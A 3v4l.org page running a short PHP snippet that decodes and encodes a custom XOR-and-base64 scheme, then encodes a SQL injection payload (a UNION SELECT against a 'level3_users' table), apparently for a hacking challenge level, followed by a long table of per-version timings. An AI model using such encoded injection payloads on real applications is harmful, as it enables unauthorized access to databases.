3v4l.org

run code in 300+ PHP versions simultaneously
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } echo decrypt("MTI5MTY0MTczMTY5MTc0"); print "\n"; function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo encrypt("Admin' ' UNION SELECT 1,2,3,4,5,6,7,8 FROM level3_users WHERE Username=Admin#"); print "\n"; print "\n"; ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0070.01516.63
8.3.50.0070.01317.52
8.3.40.0120.00318.97
8.3.30.0000.01519.15
8.3.20.0040.00418.98
8.3.10.0050.00320.84
8.3.00.0040.00419.50
8.2.180.0170.00316.50
8.2.170.0070.01022.96
8.2.160.0070.00721.02
8.2.150.0080.00025.66
8.2.140.0090.00024.66
8.2.130.0000.00726.16
8.2.120.0030.00520.81
8.2.110.0030.00621.13
8.2.100.0080.00417.84
8.2.90.0060.00319.17
8.2.80.0080.00019.21
8.2.70.0040.00417.88
8.2.60.0000.00817.91
8.2.50.0000.00818.07
8.2.40.0050.00318.34
8.2.30.0070.00318.09
8.2.20.0080.00017.91
8.2.10.0040.00417.96
8.2.00.0060.00317.84
8.1.280.0120.00325.92
8.1.270.0040.00424.66
8.1.260.0080.00026.35
8.1.250.0040.00428.09
8.1.240.0000.01022.14
8.1.230.0040.00821.06
8.1.220.0060.00318.77
8.1.210.0000.00819.12
8.1.200.0100.00017.60
8.1.190.0040.00417.55
8.1.180.0040.00418.10
8.1.170.0000.00819.02
8.1.160.0000.00918.95
8.1.150.0000.00818.74
8.1.140.0050.00317.56
8.1.130.0000.00817.80
8.1.120.0080.00017.63
8.1.110.0000.00717.52
8.1.100.0050.00317.60
8.1.90.0070.00017.68
8.1.80.0040.00417.62
8.1.70.0000.00717.51
8.1.60.0080.00017.76
8.1.50.0030.00517.51
8.1.40.0030.00617.73
8.1.30.0040.00417.79
8.1.20.0050.00217.83
8.1.10.0080.00017.78
8.1.00.0030.00517.58
8.0.300.0000.00719.90
8.0.290.0070.00017.00
8.0.280.0040.00418.43
8.0.270.0000.00817.33
8.0.260.0030.00317.04
8.0.250.0050.00517.16
8.0.240.0100.00017.18
8.0.230.0000.00717.18
8.0.220.0000.00816.98
8.0.210.0000.00817.06
8.0.200.0040.00417.18
8.0.190.0000.00717.17
8.0.180.0000.00817.16
8.0.170.0000.00817.00
8.0.160.0000.00717.05
8.0.150.0000.00817.08
8.0.140.0030.00517.04
8.0.130.0030.00313.54
8.0.120.0040.00417.08
8.0.110.0040.00416.89
8.0.100.0040.00417.13
8.0.90.0040.00417.10
8.0.80.0090.00917.04
8.0.70.0040.00416.98
8.0.60.0020.00517.00
8.0.50.0050.00217.10
8.0.30.0130.00717.32
8.0.20.0050.01617.35
8.0.10.0040.00417.25
8.0.00.0090.00916.98
7.4.330.0000.00513.25
7.4.320.0030.00316.77
7.4.300.0030.00316.85
7.4.290.0030.00316.76
7.4.280.0000.00816.80
7.4.270.0030.00316.84
7.4.260.0030.00313.45
7.4.250.0000.00716.85
7.4.240.0000.00716.91
7.4.230.0000.00716.75
7.4.220.0140.00916.80
7.4.210.0070.00816.87
7.4.200.0000.00716.88
7.4.190.0000.00716.94
7.4.160.0100.00616.55
7.4.150.0030.01416.75
7.4.140.0090.00916.83
7.4.130.0160.00216.66
7.4.120.0140.00316.62
7.4.110.0090.00916.63
7.4.100.0080.01016.70
7.4.90.0090.00916.62
7.4.80.0160.00619.39
7.4.70.0100.00716.97
7.4.60.0040.01416.75
7.4.50.0030.00616.51
7.4.40.0040.01116.72
7.4.30.0100.00716.76
7.4.00.0060.00915.34
7.3.330.0000.00613.52
7.3.320.0030.00313.37
7.3.310.0040.00416.61
7.3.300.0000.00716.61
7.3.290.0080.00816.55
7.3.280.0080.01016.53
7.3.270.0080.01616.63
7.3.260.0070.01116.57
7.3.250.0160.00416.69
7.3.240.0100.00616.62
7.3.230.0130.00316.76
7.3.210.0150.00916.60
7.3.200.0090.00916.86
7.3.190.0110.01116.52
7.3.180.0060.00916.77
7.3.170.0030.01316.55
7.3.160.0060.01216.79
7.3.120.0140.00015.03
7.3.00.0030.01316.90
7.2.330.0090.00916.89
7.2.320.0130.00716.99
7.2.310.0080.01116.90
7.2.300.0130.00616.99
7.2.290.0070.01316.81
7.2.130.0090.00317.13
7.2.120.0000.01217.23
7.2.110.0060.00917.11
7.2.100.0000.01317.13
7.2.90.0030.00916.96
7.2.80.0070.00716.87
7.2.70.0070.00416.98
7.2.60.0070.00717.24
7.2.50.0080.00817.17
7.2.40.0000.01517.16
7.2.30.0090.00317.23
7.2.20.0030.01117.11
7.2.10.0040.00717.06
7.2.00.0050.00818.54
7.1.250.0030.01315.82
7.1.240.0080.00616.05
7.1.230.0000.00916.13
7.1.220.0090.00616.04
7.1.210.0040.00915.75
7.1.200.0030.01015.93
7.1.190.0120.00316.00
7.1.180.0060.00816.05
7.1.170.0100.00315.85
7.1.160.0070.00715.87
7.1.150.0030.00616.08
7.1.140.0090.00616.00
7.1.130.0070.00415.76
7.1.120.0100.00316.11
7.1.110.0060.00615.98
7.1.100.0080.00517.20
7.1.90.0030.00715.99
7.1.80.0030.00815.72
7.1.70.0060.00416.51
7.1.60.0070.01017.77
7.1.50.0040.01216.68
7.1.40.0090.00316.27
7.1.30.0030.00916.07
7.1.20.0050.00816.05
7.1.10.0040.01115.82
7.1.00.0040.04019.13
7.0.330.0000.00915.65
7.0.320.0040.01115.59
7.0.310.0000.00815.36
7.0.300.0120.00315.35
7.0.290.0030.00815.65
7.0.280.0070.01015.43
7.0.270.0070.00715.28
7.0.260.0030.00715.61
7.0.250.0030.01015.60
7.0.240.0100.00615.38
7.0.230.0030.01015.60
7.0.220.0040.00815.40
7.0.210.0040.01115.70
7.0.200.0050.00516.33
7.0.190.0080.00515.34
7.0.180.0060.00615.57
7.0.170.0090.00615.36
7.0.160.0060.00715.56
7.0.150.0030.00815.28
7.0.140.0090.03318.81
7.0.130.0060.00615.68
7.0.120.0050.04018.90
7.0.110.0070.00315.28
7.0.100.0080.00315.70
7.0.90.0060.00615.70
7.0.80.0070.00715.62
7.0.70.0060.00615.61
7.0.60.0050.03417.76
7.0.50.0090.03816.84
7.0.40.0080.03915.59
7.0.30.0090.03915.57
7.0.20.0050.02915.74
7.0.10.0080.02615.70
7.0.00.0070.04215.75
5.6.380.0070.00714.33
5.6.370.0070.00714.57
5.6.360.0030.00714.32
5.6.350.0060.00614.50
5.6.340.0070.00414.44
5.6.330.0030.01314.43
5.6.320.0040.01114.18
5.6.310.0070.00314.63
5.6.300.0070.00714.46
5.6.290.0040.00414.36
5.6.280.0000.04317.72
5.6.270.0070.00714.82
5.6.260.0000.01114.50
5.6.250.0070.00714.28
5.6.240.0090.00614.50
5.6.230.0030.01014.16
5.6.220.0030.01014.48
5.6.210.0110.02217.63
5.6.200.0080.02016.30
5.6.190.0030.03716.44
5.6.180.0020.04816.24
5.6.170.0020.04816.27
5.6.160.0090.02416.39
5.6.150.0050.04416.25
5.6.140.0110.02216.39
5.6.130.0060.03016.24
5.6.120.0110.02116.32
5.6.110.0030.03816.29
5.6.100.0100.03216.25
5.6.90.0050.03016.42
5.6.80.0160.02816.03
5.6.70.0050.02316.06
5.6.60.0030.04515.99
5.6.50.0100.03516.07
5.6.40.0050.03315.90
5.6.30.0070.02115.94
5.6.20.0050.03815.91
5.6.10.0030.02615.80
5.6.00.0050.04015.97
5.5.380.0000.01011.55
5.5.370.0030.00311.43
5.5.360.0030.00311.34
5.5.350.0070.03816.00
5.5.340.0030.02514.60
5.5.330.0000.02914.70
5.5.320.0070.02414.66
5.5.310.0030.04514.75
5.5.300.0070.02514.61
5.5.290.0050.04314.67
5.5.280.0040.02614.63
5.5.270.0100.04314.57
5.5.260.0000.04614.76
5.5.250.0030.04414.56
5.5.240.0070.03514.32
5.5.230.0040.03314.36
5.5.220.0080.04114.43
5.5.210.0030.04514.29
5.5.200.0050.02614.24
5.5.190.0050.02314.25
5.5.180.0060.02314.25
5.5.170.0030.00611.18
5.5.160.0020.03614.30
5.5.150.0060.02214.39
5.5.140.0070.02014.29
5.5.130.0020.02714.28
5.5.120.0030.02514.24
5.5.110.0090.03614.28
5.5.100.0070.02514.24
5.5.90.0020.02714.25
5.5.80.0000.02414.25
5.5.70.0050.02414.20
5.5.60.0050.03014.18
5.5.50.0020.03714.24
5.5.40.0090.03814.18
5.5.30.0050.03914.19
5.5.20.0050.04214.21
5.5.10.0000.04214.26
5.5.00.0050.02714.32
5.4.450.0020.02815.31
5.4.440.0020.04815.52
5.4.430.0080.04215.33
5.4.420.0080.03215.38
5.4.410.0040.02315.23
5.4.400.0050.02715.05
5.4.390.0090.03915.19
5.4.380.0070.03015.15
5.4.370.0230.03415.11
5.4.360.0070.04215.10
5.4.350.0030.02315.28
5.4.340.0090.02315.12
5.4.330.0030.00611.18
5.4.320.0070.03215.11
5.4.310.0030.02215.17
5.4.300.0050.02315.14
5.4.290.0070.02215.14
5.4.280.0050.03015.11
5.4.270.0070.02215.13
5.4.260.0030.02815.14
5.4.250.0040.03715.08
5.4.240.0020.03815.10
5.4.230.0100.03415.06
5.4.220.0080.04015.16
5.4.210.0070.03915.22
5.4.200.0190.02015.08
5.4.190.0070.02515.09
5.4.180.0080.03715.10
5.4.170.0050.03715.10
5.4.160.0040.04215.09
5.4.150.0030.03015.13
5.4.140.0050.04113.92
5.4.130.0090.03413.85
5.4.120.0100.03313.79
5.4.110.0070.02413.82
5.4.100.0070.02113.83
5.4.90.0040.04013.84
5.4.80.0050.02713.79
5.4.70.0030.02213.83
5.4.60.0030.02313.87
5.4.50.0060.02013.85
5.4.40.0080.03313.80
5.4.30.0050.03713.76
5.4.20.0090.02413.91
5.4.10.0090.03713.70
5.4.00.0050.03913.46
5.3.290.0050.04712.90
5.3.280.0060.02812.89
5.3.270.0050.04112.92
5.3.260.0050.04012.82
5.3.250.0080.03612.87
5.3.240.0050.03612.89
5.3.230.0120.03312.89
5.3.220.0080.03612.87
5.3.210.0020.02812.93
5.3.200.0060.03012.86
5.3.190.0030.02312.90
5.3.180.0100.03312.86
5.3.170.0080.03312.98
5.3.160.0050.04512.88
5.3.150.0050.03212.88
5.3.140.0020.04212.89
5.3.130.0110.03312.89
5.3.120.0070.03712.89
5.3.110.0070.02812.88
5.3.100.0120.02712.63
5.3.90.0030.03212.63
5.3.80.0030.03012.61
5.3.70.0080.03612.62
5.3.60.0020.02312.61
5.3.50.0050.02412.51
5.3.40.0000.02312.58
5.3.30.0020.02512.49
5.3.20.0050.02312.39
5.3.10.0070.01812.45
5.3.00.0030.02012.44
5.2.170.0040.02711.20
5.2.160.0000.03811.15
5.2.150.0040.02111.09
5.2.140.0030.02011.16
5.2.130.0080.01211.19
5.2.120.0030.01711.14
5.2.110.0110.01211.16
5.2.100.0030.01811.16
5.2.90.0030.01811.16
5.2.80.0030.01411.18
5.2.70.0030.01911.14
5.2.60.0030.01511.17
5.2.50.0060.01411.06
5.2.40.0050.01411.13
5.2.30.0110.01011.09
5.2.20.0050.01711.12
5.2.10.0020.01711.00
5.2.00.0040.01710.94
5.1.60.0020.01510.61
5.1.50.0020.01510.55
5.1.40.0020.01310.49
5.1.30.0020.01610.77
5.1.20.0020.01610.79
5.1.10.0000.01810.54
5.1.00.0010.01510.61
5.0.50.0000.0149.96
5.0.40.0000.0149.96
5.0.30.0050.0139.96
5.0.20.0010.0119.96
5.0.10.0020.0129.96
5.0.00.0070.0129.96
4.4.90.0020.0089.96
4.4.80.0020.0109.96
4.4.70.0000.0119.96
4.4.60.0000.0139.96
4.4.50.0020.0109.96
4.4.40.0000.0149.96
4.4.30.0000.0129.96
4.4.20.0030.0109.96
4.4.10.0020.0119.96
4.4.00.0000.0169.96
4.3.110.0000.0129.96
4.3.100.0000.0119.96
4.3.90.0030.0089.96
4.3.80.0000.0149.96
4.3.70.0020.0099.96
4.3.60.0000.0109.96
4.3.50.0030.0099.96
4.3.40.0050.0139.96
4.3.30.0000.0129.96
4.3.20.0000.0109.96
4.3.10.0020.0089.96
4.3.00.0020.0109.96

preferences:
49.2 ms | 401 KiB | 5 Q